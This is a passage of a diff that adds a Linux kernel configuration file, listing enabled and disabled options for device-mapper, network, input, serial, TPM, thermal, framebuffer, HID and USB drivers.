+CONFIG_SATA_MOBILE_LPM_POLICY=0 +# CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set +# CONFIG_SATA_INIC162X is not set +# CONFIG_SATA_ACARD_AHCI is not set +# CONFIG_SATA_SIL24 is not set +# CONFIG_ATA_SFF is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y +# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set +CONFIG_DM_BIO_PRISON=y +CONFIG_DM_PERSISTENT_DATA=y +# CONFIG_DM_UNSTRIPED is not set +CONFIG_DM_CRYPT=y +CONFIG_DM_SNAPSHOT=y +CONFIG_DM_THIN_PROVISIONING=y +# CONFIG_DM_CACHE is not set +# CONFIG_DM_WRITECACHE is not set +# CONFIG_DM_EBS is not set +# CONFIG_DM_ERA is not set +# CONFIG_DM_CLONE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_DUST is not set +# CONFIG_DM_INIT is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +CONFIG_DM_VERITY=y +# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set +CONFIG_DM_VERITY_FEC=y +# CONFIG_DM_SWITCH is not set +# CONFIG_DM_LOG_WRITES is not set +# CONFIG_DM_INTEGRITY is not set +# CONFIG_TARGET_CORE is not set +# CONFIG_FUSION is not set + +# +# IEEE 1394 (FireWire) support +# +# CONFIG_FIREWIRE is not set +# CONFIG_FIREWIRE_NOSY is not set +# end of IEEE 1394 (FireWire) support + +# CONFIG_MACINTOSH_DRIVERS is not set +CONFIG_NETDEVICES=y +CONFIG_MII=m +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +# CONFIG_DUMMY is not set +# CONFIG_WIREGUARD is not set +# CONFIG_EQUALIZER is not set +# CONFIG_NET_FC is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_IPVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_GENEVE is not set +# CONFIG_BAREUDP is not set +# CONFIG_GTP is not set +# CONFIG_MACSEC is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_TUN is not set +# CONFIG_TUN_VNET_CROSS_LE is not set +# CONFIG_VETH is not set +# CONFIG_NLMON is not set +# CONFIG_ARCNET is not set +CONFIG_ETHERNET=y +# CONFIG_NET_VENDOR_3COM is not set +# CONFIG_NET_VENDOR_ADAPTEC is not set +# CONFIG_NET_VENDOR_AGERE is not set +# CONFIG_NET_VENDOR_ALACRITECH is not set +# CONFIG_NET_VENDOR_ALTEON is not set +# CONFIG_ALTERA_TSE is not set +# CONFIG_NET_VENDOR_AMAZON is not set +# CONFIG_NET_VENDOR_AMD is not set +# CONFIG_NET_VENDOR_AQUANTIA is not set +# CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set +# CONFIG_NET_VENDOR_ATHEROS is not set +# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_VENDOR_CADENCE is not set +# CONFIG_NET_VENDOR_CAVIUM is not set +# CONFIG_NET_VENDOR_CHELSIO is not set +# CONFIG_NET_VENDOR_CISCO is not set +# CONFIG_NET_VENDOR_CORTINA is not set +# CONFIG_NET_VENDOR_DAVICOM is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_DEC is not set +# CONFIG_NET_VENDOR_DLINK is not set +# CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set +# CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set +# CONFIG_NET_VENDOR_GOOGLE is not set +# CONFIG_NET_VENDOR_HUAWEI is not set +# CONFIG_NET_VENDOR_I825XX is not set +CONFIG_NET_VENDOR_INTEL=y +# CONFIG_E100 is not set +CONFIG_E1000=m +CONFIG_E1000E=m +CONFIG_E1000E_HWTS=y +# CONFIG_IGB is not set +# CONFIG_IGBVF is not set +# CONFIG_IXGB is not set +# CONFIG_IXGBE is not set +# CONFIG_IXGBEVF is not set +# CONFIG_I40E is not set +# CONFIG_I40EVF is not set +# CONFIG_ICE is not set +# CONFIG_FM10K is not set +# CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set +# CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MELLANOX is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set +# CONFIG_NET_VENDOR_MYRI is not set +# CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_NET_VENDOR_NETERION is not set +# CONFIG_NET_VENDOR_NETRONOME is not set +# CONFIG_NET_VENDOR_NVIDIA is not set +# CONFIG_NET_VENDOR_OKI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_PACKET_ENGINES is not set +# CONFIG_NET_VENDOR_PENSANDO is not set +# CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set +# CONFIG_NET_VENDOR_QUALCOMM is not set +# CONFIG_NET_VENDOR_RDC is not set +# CONFIG_NET_VENDOR_REALTEK is not set +# CONFIG_NET_VENDOR_RENESAS is not set +# CONFIG_NET_VENDOR_ROCKER is not set +# CONFIG_NET_VENDOR_SAMSUNG is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SILAN is not set +# CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_SOCIONEXT is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_SUN is not set +# CONFIG_NET_VENDOR_SYNOPSYS is not set +# CONFIG_NET_VENDOR_TEHUTI is not set +# CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set +# CONFIG_NET_VENDOR_VIA is not set +# CONFIG_NET_VENDOR_WIZNET is not set +# CONFIG_NET_VENDOR_XILINX is not set +# CONFIG_FDDI is not set +# CONFIG_HIPPI is not set +# CONFIG_NET_SB1000 is not set +# CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set +# CONFIG_MDIO_DEVICE is not set + +# +# PCS device drivers +# +# end of PCS device drivers + +# CONFIG_PPP is not set +# CONFIG_SLIP is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m +# CONFIG_WLAN is not set +# CONFIG_WAN is not set + +# +# Wireless WAN +# +# CONFIG_WWAN is not set +# end of Wireless WAN + +# CONFIG_VMXNET3 is not set +# CONFIG_FUJITSU_ES is not set +# CONFIG_NET_FAILOVER is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +# CONFIG_INPUT_FF_MEMLESS is not set +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y + +# +# Userland interfaces +# +# CONFIG_INPUT_MOUSEDEV is not set +# CONFIG_INPUT_JOYDEV is not set +# CONFIG_INPUT_EVDEV is not set +# CONFIG_INPUT_EVBUG is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_LKKBD is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +# CONFIG_INPUT_JOYSTICK is not set +# CONFIG_INPUT_TABLET is not set +# CONFIG_INPUT_TOUCHSCREEN is not set +# CONFIG_INPUT_MISC is not set +# CONFIG_RMI4_CORE is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y +CONFIG_SERIO_I8042=y +# CONFIG_SERIO_SERPORT is not set +# CONFIG_SERIO_CT82C710 is not set +# CONFIG_SERIO_PCIPS2 is not set +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_USERIO is not set +# CONFIG_GAMEPORT is not set +# end of Hardware I/O ports +# end of Input device support + +# +# Character devices +# +CONFIG_TTY=y +CONFIG_VT=y +CONFIG_CONSOLE_TRANSLATIONS=y +CONFIG_VT_CONSOLE=y +CONFIG_HW_CONSOLE=y +CONFIG_VT_HW_CONSOLE_BINDING=y +CONFIG_UNIX98_PTYS=y +# CONFIG_LEGACY_PTYS is not set +CONFIG_LDISC_AUTOLOAD=y + +# +# Serial drivers +# +CONFIG_SERIAL_8250=y +# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set +# CONFIG_SERIAL_8250_PNP is not set +# CONFIG_SERIAL_8250_16550A_VARIANTS is not set +# CONFIG_SERIAL_8250_FINTEK is not set +# CONFIG_SERIAL_8250_CONSOLE is not set +# CONFIG_SERIAL_8250_PCI is not set +CONFIG_SERIAL_8250_NR_UARTS=4 +CONFIG_SERIAL_8250_RUNTIME_UARTS=4 +# CONFIG_SERIAL_8250_EXTENDED is not set +# CONFIG_SERIAL_8250_DW is not set +# CONFIG_SERIAL_8250_RT288X is not set +# CONFIG_SERIAL_8250_LPSS is not set +# CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_UARTLITE is not set +CONFIG_SERIAL_CORE=y +# CONFIG_SERIAL_JSM is not set +# CONFIG_SERIAL_LANTIQ is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_ARC is not set +# CONFIG_SERIAL_RP2 is not set +# CONFIG_SERIAL_FSL_LPUART is not set +# CONFIG_SERIAL_FSL_LINFLEXUART is not set +# CONFIG_SERIAL_SPRD is not set +# end of Serial drivers + +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_NOZOMI is not set +# CONFIG_NULL_TTY is not set +# CONFIG_SERIAL_DEV_BUS is not set +CONFIG_TTY_PRINTK=y +CONFIG_TTY_PRINTK_LEVEL=6 +# CONFIG_VIRTIO_CONSOLE is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +CONFIG_HW_RANDOM_INTEL=y +# CONFIG_HW_RANDOM_AMD is not set +# CONFIG_HW_RANDOM_BA431 is not set +# CONFIG_HW_RANDOM_VIA is not set +# CONFIG_HW_RANDOM_XIPHERA is not set +# CONFIG_APPLICOM is not set +# CONFIG_MWAVE is not set +CONFIG_DEVMEM=y +# CONFIG_NVRAM is not set +CONFIG_DEVPORT=y +# CONFIG_HPET is not set +# CONFIG_HANGCHECK_TIMER is not set +CONFIG_TCG_TPM=y +# CONFIG_HW_RANDOM_TPM is not set +CONFIG_TCG_TIS_CORE=y +CONFIG_TCG_TIS=y +# CONFIG_TCG_NSC is not set +# CONFIG_TCG_ATMEL is not set +# CONFIG_TCG_INFINEON is not set +# CONFIG_TCG_CRB is not set +# CONFIG_TCG_VTPM_PROXY is not set +# CONFIG_TELCLOCK is not set +# CONFIG_XILLYBUS is not set +# CONFIG_XILLYUSB is not set +CONFIG_RANDOM_TRUST_CPU=y +# CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices + +# +# I2C support +# +# CONFIG_I2C is not set +# end of I2C support + +# CONFIG_I3C is not set +# CONFIG_SPI is not set +# CONFIG_SPMI is not set +# CONFIG_HSI is not set +# CONFIG_PPS is not set + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# end of PTP clock support + +# CONFIG_PINCTRL is not set +# CONFIG_GPIOLIB is not set +# CONFIG_W1 is not set +# CONFIG_POWER_RESET is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set +# CONFIG_BATTERY_BQ27XXX is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_HWMON is not set +CONFIG_THERMAL=y +# CONFIG_THERMAL_NETLINK is not set +# CONFIG_THERMAL_STATISTICS is not set +CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 +# CONFIG_THERMAL_WRITABLE_TRIPS is not set +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_BANG_BANG is not set +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_THERMAL_EMULATION is not set + +# +# Intel thermal drivers +# +# CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y +# CONFIG_X86_PKG_TEMP_THERMAL is not set +# CONFIG_INTEL_SOC_DTS_THERMAL is not set + +# +# ACPI INT340X thermal drivers +# +# CONFIG_INT340X_THERMAL is not set +# end of ACPI INT340X thermal drivers + +# CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set +# end of Intel thermal drivers + +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +# CONFIG_MFD_MADERA is not set +# CONFIG_MFD_DLN2 is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set +# CONFIG_LPC_ICH is not set +# CONFIG_LPC_SCH is not set +# CONFIG_MFD_INTEL_LPSS_ACPI is not set +# CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set +# CONFIG_MFD_JANZ_CMODIO is not set +# CONFIG_MFD_KEMPLD is not set +# CONFIG_MFD_MT6397 is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_SM501 is not set +CONFIG_MFD_SYSCON=y +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_TQMX86 is not set +# CONFIG_MFD_VX855 is not set +# end of Multifunction device drivers + +# CONFIG_REGULATOR is not set +# CONFIG_RC_CORE is not set + +# +# CEC support +# +# CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + +# CONFIG_MEDIA_SUPPORT is not set + +# +# Graphics support +# +CONFIG_APERTURE_HELPERS=y +# CONFIG_AGP is not set +# CONFIG_VGA_SWITCHEROO is not set +# CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set + +# +# ARM devices +# +# end of ARM devices + +CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y + +# +# Frame buffer Devices +# +CONFIG_FB_CMDLINE=y +CONFIG_FB_NOTIFY=y +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_CIRRUS is not set +# CONFIG_FB_PM2 is not set +# CONFIG_FB_CYBER2000 is not set +# CONFIG_FB_ARC is not set +# CONFIG_FB_ASILIANT is not set +# CONFIG_FB_IMSTT is not set +# CONFIG_FB_VGA16 is not set +# CONFIG_FB_VESA is not set +CONFIG_FB_EFI=y +# CONFIG_FB_N411 is not set +# CONFIG_FB_HGA is not set +# CONFIG_FB_OPENCORES is not set +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_NVIDIA is not set +# CONFIG_FB_RIVA is not set +# CONFIG_FB_I740 is not set +# CONFIG_FB_LE80578 is not set +# CONFIG_FB_MATROX is not set +# CONFIG_FB_RADEON is not set +# CONFIG_FB_ATY128 is not set +# CONFIG_FB_ATY is not set +# CONFIG_FB_S3 is not set +# CONFIG_FB_SAVAGE is not set +# CONFIG_FB_SIS is not set +# CONFIG_FB_NEOMAGIC is not set +# CONFIG_FB_KYRO is not set +# CONFIG_FB_3DFX is not set +# CONFIG_FB_VOODOO1 is not set +# CONFIG_FB_VT8623 is not set +# CONFIG_FB_TRIDENT is not set +# CONFIG_FB_ARK is not set +# CONFIG_FB_PM3 is not set +# CONFIG_FB_CARMINE is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_IBM_GXT4500 is not set +# CONFIG_FB_VIRTUAL is not set +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_MB862XX is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_FB_SM712 is not set +# end of Frame buffer Devices + +# +# Backlight & LCD device support +# +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_APPLE is not set +# CONFIG_BACKLIGHT_QCOM_WLED is not set +# CONFIG_BACKLIGHT_SAHARA is not set +# end of Backlight & LCD device support + +# +# Console display driver support +# +CONFIG_VGA_CONSOLE=y +CONFIG_DUMMY_CONSOLE=y +CONFIG_DUMMY_CONSOLE_COLUMNS=80 +CONFIG_DUMMY_CONSOLE_ROWS=25 +CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y +CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y +# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set +# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set +# end of Console display driver support + +# CONFIG_LOGO is not set +# end of Graphics support + +# CONFIG_SOUND is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +# CONFIG_HIDRAW is not set +# CONFIG_UHID is not set +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +# CONFIG_HID_A4TECH is not set +# CONFIG_HID_ACCUTOUCH is not set +# CONFIG_HID_ACRUX is not set +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +# CONFIG_HID_BELKIN is not set +# CONFIG_HID_BETOP_FF is not set +# CONFIG_HID_CHERRY is not set +# CONFIG_HID_CHICONY is not set +# CONFIG_HID_COUGAR is not set +# CONFIG_HID_MACALLY is not set +# CONFIG_HID_CMEDIA is not set +# CONFIG_HID_CREATIVE_SB0540 is not set +# CONFIG_HID_CYPRESS is not set +# CONFIG_HID_DRAGONRISE is not set +# CONFIG_HID_EMS_FF is not set +# CONFIG_HID_ELECOM is not set +# CONFIG_HID_ELO is not set +# CONFIG_HID_EZKEY is not set +# CONFIG_HID_GEMBIRD is not set +# CONFIG_HID_GFRM is not set +# CONFIG_HID_GLORIOUS is not set +# CONFIG_HID_HOLTEK is not set +# CONFIG_HID_VIVALDI is not set +# CONFIG_HID_KEYTOUCH is not set +# CONFIG_HID_KYE is not set +# CONFIG_HID_UCLOGIC is not set +# CONFIG_HID_WALTOP is not set +# CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set +# CONFIG_HID_GYRATION is not set +# CONFIG_HID_ICADE is not set +# CONFIG_HID_ITE is not set +# CONFIG_HID_JABRA is not set +# CONFIG_HID_TWINHAN is not set +# CONFIG_HID_KENSINGTON is not set +# CONFIG_HID_LCPOWER is not set +# CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set +# CONFIG_HID_MAGICMOUSE is not set +# CONFIG_HID_MALTRON is not set +# CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set +# CONFIG_HID_REDRAGON is not set +# CONFIG_HID_MICROSOFT is not set +# CONFIG_HID_MONTEREY is not set +# CONFIG_HID_MULTITOUCH is not set +# CONFIG_HID_NTI is not set +# CONFIG_HID_NTRIG is not set +# CONFIG_HID_ORTEK is not set +# CONFIG_HID_PANTHERLORD is not set +# CONFIG_HID_PENMOUNT is not set +# CONFIG_HID_PETALYNX is not set +# CONFIG_HID_PICOLCD is not set +# CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set +# CONFIG_HID_PRIMAX is not set +# CONFIG_HID_RETRODE is not set +# CONFIG_HID_ROCCAT is not set +# CONFIG_HID_SAITEK is not set +# CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set +# CONFIG_HID_SPEEDLINK is not set +# CONFIG_HID_STEAM is not set +# CONFIG_HID_STEELSERIES is not set +# CONFIG_HID_SUNPLUS is not set +# CONFIG_HID_RMI is not set +# CONFIG_HID_GREENASIA is not set +# CONFIG_HID_SMARTJOYPLUS is not set +# CONFIG_HID_TIVO is not set +# CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set +# CONFIG_HID_THRUSTMASTER is not set +# CONFIG_HID_UDRAW_PS3 is not set +# CONFIG_HID_WACOM is not set +# CONFIG_HID_XINMO is not set +# CONFIG_HID_ZEROPLUS is not set +# CONFIG_HID_ZYDACRON is not set +# CONFIG_HID_SENSOR_HUB is not set +# CONFIG_HID_ALPS is not set +# end of Special HID drivers + +# +# USB HID support +# +CONFIG_USB_HID=m +# CONFIG_HID_PID is not set +# CONFIG_USB_HIDDEV is not set + +# +# USB HID Boot Protocol drivers +# +# CONFIG_USB_KBD is not set +# CONFIG_USB_MOUSE is not set +# end of USB HID Boot Protocol drivers +# end of USB HID support + +# +# Intel ISH HID support +# +# CONFIG_INTEL_ISH_HID is not set +# end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support +# end of HID support + +CONFIG_USB_OHCI_LITTLE_ENDIAN=y +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +# CONFIG_USB_ULPI_BUS is not set +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +CONFIG_USB_PCI=y +# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_FEW_INIT_RETRIES is not set +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG_PRODUCTLIST is not set +# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set +CONFIG_USB_AUTOSUSPEND_DELAY=2 +# CONFIG_USB_MON is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +CONFIG_USB_XHCI_HCD=m +# CONFIG_USB_XHCI_DBGCAP is not set +CONFIG_USB_XHCI_PCI=m +# CONFIG_USB_XHCI_PCI_RENESAS is not set +CONFIG_USB_XHCI_PLATFORM=m +CONFIG_USB_EHCI_HCD=m +# CONFIG_USB_EHCI_ROOT_HUB_TT is not set +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_PCI=m +# CONFIG_USB_EHCI_FSL is not set +CONFIG_USB_EHCI_HCD_PLATFORM=m +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_FOTG210_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_UHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +# CONFIG_USB_HCD_TEST_MODE is not set + +# +# USB Device Class drivers +# +# CONFIG_USB_ACM is not set +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=m +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +# CONFIG_USB_STORAGE_DATAFAB is not set +# CONFIG_USB_STORAGE_FREECOM is not set +# CONFIG_USB_STORAGE_ISD200 is not set +# CONFIG_USB_STORAGE_USBAT is not set +# CONFIG_USB_STORAGE_SDDR09 is not set +# CONFIG_USB_STORAGE_SDDR55 is not set +# CONFIG_USB_STORAGE_JUMPSHOT is not set +# CONFIG_USB_STORAGE_ALAUDA is not set +# CONFIG_USB_STORAGE_ONETOUCH is not set +# CONFIG_USB_STORAGE_KARMA is not set +# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set +# CONFIG_USB_STORAGE_ENE_UB6250 is not set +# CONFIG_USB_UAS is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# CONFIG_USBIP_CORE is not set +# CONFIG_USB_CDNS_SUPPORT is not set +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_DWC3 is not set +# CONFIG_USB_DWC2 is not set +# CONFIG_USB_CHIPIDEA is not set +# CONFIG_USB_ISP1760 is not set + +# +# USB port drivers +# +# CONFIG_USB_SERIAL is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_APPLE_MFI_FASTCHARGE is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +# CONFIG_USB_EHSET_TEST_FIXTURE is not set +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_LINK_LAYER_TEST is not set +# CONFIG_USB_CHAOSKEY is not set + +# +# USB Physical Layer drivers +# +# CONFIG_NOP_USB_XCEIV is not set +# end of USB Physical Layer drivers + +# CONFIG_USB_GADGET is not set +# CONFIG_TYPEC is not set +# 